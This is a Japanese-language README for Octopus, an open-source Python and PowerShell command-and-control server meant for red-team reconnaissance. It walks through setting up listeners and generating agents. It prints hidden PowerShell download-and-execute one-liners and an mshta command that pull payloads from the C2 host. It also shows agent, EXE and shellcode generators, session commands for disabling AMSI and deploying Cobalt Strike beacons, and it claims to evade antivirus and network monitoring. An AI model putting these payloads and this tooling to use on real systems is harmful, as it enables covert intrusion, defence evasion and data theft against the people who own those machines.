
PythonとPowerShellに基づくオープンソースの運用前C2サーバー
Octopus は、オープンソースのプレオペレーション C2 サーバーであり、Python ベースで、HTTP/S を介して Octopus PowerShell エージェントを制御できます。
Octopus の主な目的は、実際のレッドチーム作戦を開始する前に使用することです。フル装備の兵器庫とインフラを投入する代わりに、まず Octopus を使用してターゲットを攻撃し、情報を収集してから実際のレッドチーム作戦を開始できます。
Octopus は非常にシンプルな方法で動作し、完全に暗号化されたチャネルを介してコマンドを実行し、C2 と情報を交換します。そのため、ほとんどの AV、エンドポイント保護、ネットワーク監視ソリューションからは目立たず、検出されにくくなっています。
Octopus の優れた機能の 1 つは ESA (Endpoint Situational Awareness) です。これは、ターゲットに関する重要な情報を収集し、作戦中に直面するターゲットネットワークエンドポイントの理解を深めるのに役立ちます。これにより、この情報に基づいて実際の作戦をカスタマイズする機会が得られます。
Octopus は C2 との通信時にステルス性と隠密性を保つように設計されており、PowerShell エージェントと C2 サーバー間の暗号化チャネルにはデフォルトで AES-256 を使用します。また、ドメインの有効な証明書を提供し、Octopus C2 サーバーを設定して SSL/TLS を使用することもできます。
Octopus には、実際に完全な兵器庫やツール、テクニックを展開する前に、今後のエンゲージメントに関する洞察を得ることができるようにするための多くの機能が搭載されています。例:
Octopus のすべての要件は以下でインストールできます:
pip install -r requirements.txt
シェルコード機能とスプーフィング引数エージェントを使用するには、Linux 用の nasm と 'mingw-w64' コンパイラをインストールする必要があります。
Debian ベースのディストリビューションでは、以下を使用して nasm をインストールできます:
apt install nasm
また、Debian ベースのディストリビューションでは、以下を使用して mingw-w64 をインストールできます:
apt install mingw-w64
Octopus は次のオペレーティングシステムでテストされています:
また、C# ソースを問題なくコンパイルできるようにするために、mono をインストールする必要があります。
Octopus は C# ソースをコンパイルするために mono-csc バイナリに依存しており、kali および ubuntu 16.04 でテスト済みの以下のコマンド apt install mono-devel でインストールできます。
mono をインストールしなくても Octopus を使用できますが、
generate_exeコマンドは使用できません。
また、C# のコンパイルは、SHA1 ハッシュ a43ed886b68c6ee913da85df9ad2064f1d81c470 を持つ System.Management.Automation.dll アセンブリに依存することに注意してください。
Octopus の使用中に問題が発生した場合は、バグレポート を送信してください。
まず、以下のコマンドを使用して Octopus の最新バージョンをダウンロードしてください:
git clone https://github.com/mhaskar/Octopus/
次に、以下のコマンドを使用して要件をインストールする必要があります:
pip install -r requirements.txt
その後、以下のコマンドを実行して Octopus サーバーを起動できます:
./octopus.py
実行すると、次のような画面が表示されます:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
Octopus は非常に簡単に使用できます。リスナーを起動し、そのリスナーの情報に基づいてエージェントを生成するだけです。
必要な数のリスナーを生成でき、それらに接続するエージェントとの対話を開始できます。
Octopus を使用する前に、URL 処理プロファイルを設定する必要があります。これにより C2 の動作と機能が制御されます。Octopus は HTTP ベースの C2 であるため、URL に依存して接続を処理し、URL が攻撃中のネットワーク内で署名や IoC として機能しないように保証します。URL は必要に応じて簡単にカスタマイズおよび名前変更できます。
現在、プロファイル設定は URL 処理、自動キル値、およびヘッダーのみをサポートしています。
プロファイルの設定
プロファイルの設定を開始するには、profile.py ファイルを編集する必要があります。このファイルには、いくつかの主要な変数が含まれています:
例:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
エージェントとリスナーはこのプロファイルを使用して相互に通信するように設定されます。次に、リスナーを作成する方法を知る必要があります。
Octopus には 2 つの主要なリスナー、「http リスナー」と「https リスナー」があり、2 つのリスナーのオプションはほぼ同一です。
HTTP リスナー:
listen_http コマンドは、起動時に次の引数を取ります:
listen_http コマンドを実行すると、その例も表示されます:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
次のコマンドを使用してリスナーを起動できます:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
次の結果が返されます:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
リスナーが正常に起動されました。listeners コマンドを使用してすべてのリスナーを表示できます:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS リスナー:
HTTPS リスナーを作成するには、次のように listen_https コマンドを使用できます:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
listen_https コマンドは、起動時に次の引数を取ります:
使用するドメインに関連付けられた有効な SSL 証明書を提供する必要があることに注意してください。
PowerShell ワンライナー
リスナー operation1 のエージェントを生成するには、次のコマンドを使用できます:
generate_powershell operation1
次の結果が得られます:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
このワンライナーを使用してエージェントを起動できます。
HTA ワンライナー
リスナー operation1 用の HTA ワンライナーを生成するには、次のコマンドを使用できます:
generate_hta operation1
次の結果が得られます:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
profile.py を使用して /hta URL を編集できることに注意してください。
Octopus EXE エージェント
リスナー operation1 用の EXE エージェントを生成するには、次のコマンドを使用できます:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
次の結果が得られます:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
C# ソースをコンパイルするには mono-csc をインストールする必要があることに注意してください。
Octopus スプーフィング引数エージェント
Adam Chester の優れた研究 に基づいて、スプーフィングされた引数で PowerShell プロセスを実行する新しい EXE エージェントを生成できます。
この exe を生成するには、次のコマンドを使用できます:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
x64 シェルコードと x86 シェルコードの生成
Octopus はバージョン 1.2 以降、x64 と x86 の両方のシェルコードを生成できます。生成されたシェルコードは CreateProcessA を使用して powershell.exe ワンライナーを起動し、PowerShell エージェントを起動します。
x64 シェルコードを生成するには、次のコマンドを使用できます:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
x86 シェルコードを生成するには、次のコマンドを使用できます:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
まず、list コマンドを使用して接続されているすべてのエージェントを一覧表示できます。次の結果が得られます:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
次に、interact コマンドを使用してホストと対話できます:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
help コマンドを使用して利用可能なすべてのコマンドを一覧表示できます:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
システムコマンドを直接実行するには、コマンドを直接入力し、リスナー作成時に設定したインターバルチェック時間に基づいて結果を待ちます。
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
この場合、コマンドは暗号化されてエージェントに送信され、クライアントはコマンドを復号化して実行します。エージェントは結果を暗号化し、C2 に送り返して復号化し、結果を表示します。
report コマンドを使用して ESA 情報を取得することもできます:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
外部の PowerShell モジュールをロードするには、それを modules ディレクトリに配置し、load module.ps1 を実行します。
また、modules コマンドを実行して modules ディレクトリ内のすべてのモジュールを一覧表示できます:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
Ian Lyte - Octopus の複数のバグを報告し、強化された AMSI バイパスモジュールを提供してくれました。
Khlief - HTA モジュールを追加し、ダウンロード機能のバグを修正しました。
Moath Maharmah - 暗号化モジュールの強化と、今後のリリースに追加されるスタンドアロン C# Octopus エージェントの作成。
TeslaPulse - Octopus のテスト。
J005 - 強化された PowerShell ワンライナーの追加と HID 攻撃スクリプトの問題の修正。
このプロジェクトは GPL-3.0 ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。